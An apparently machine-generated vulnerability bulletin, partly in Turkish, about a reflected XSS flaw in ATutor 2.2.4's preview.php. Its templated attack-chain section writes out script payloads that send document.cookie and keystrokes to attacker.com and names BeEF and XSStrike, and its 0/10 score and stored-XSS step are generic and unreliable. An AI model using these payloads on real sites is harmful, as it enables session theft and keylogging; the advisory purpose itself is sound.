CWE-79
ATutor is vulnerable to Reflected XSS via popup parameter in preview.php. An authenticated attacker can inject a double quote into the popup parameter, break out of the attribute value, and append a new event handler such as onload. The related preview_top.php file sanitises these parameters, but that does not prevent XSS in the parent frameset rendered by preview.php itself. Product is no longer actively supported and the vulnerabilities have not been fixed. Only version 2.2.4 was tested and confirmed as vulnerable, other versions were not tested but might also be vulnerable.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-64972
CVSS 0/10 · BELİRSİZ · 20.08.2026
CWE: CWE-79
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 AÇIK NEDİR?
Cross-Site Scripting (XSS)
Açıklama: ATutor is vulnerable to Reflected XSS via popup parameter in preview.php. An authenticated attacker can inject a double quote into the popup parameter, break out of the attribute value, and append a new event handler such as onload. The related preview_top.php file sanitises these parameters, but that does not prevent XSS in the parent frameset rendered by preview.php itself.
⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Stored XSS: Uygulama kullanıcı girdisini DB'ye kaydedip diğer kullanıcılara gösteriyorsa, yorum/profil alanlarına payload inject edilir.
2. Reflected XSS: URL parametresine <script>alert(1)</script> eklenir, link kurban ile paylaşılır.
3. Cookie çalma: <script>new Image().src='https://attacker.com/c?c='+document.cookie</script>
4. Keylogger: <script>document.onkeypress=function(e){new Image().src='https://attacker.com/k?k='+e.key}</script>
5. BeEF framework ile tam tarayıcı kontrolü.
🔧 Araçlar: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 GERÇEK DÜNYA ETKİSİ
🛡️ ÇÖZÜM VE MİTİGASYON
→ Üretici tarafından yayınlanan yamayı uygula.
→ CSP header ekle, tüm kullanıcı girdilerini HTML encode et.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.
⚠️ ACİLİYET
📌 Düşük öncelik — rutin güncelleme yeterli.
────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]
[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]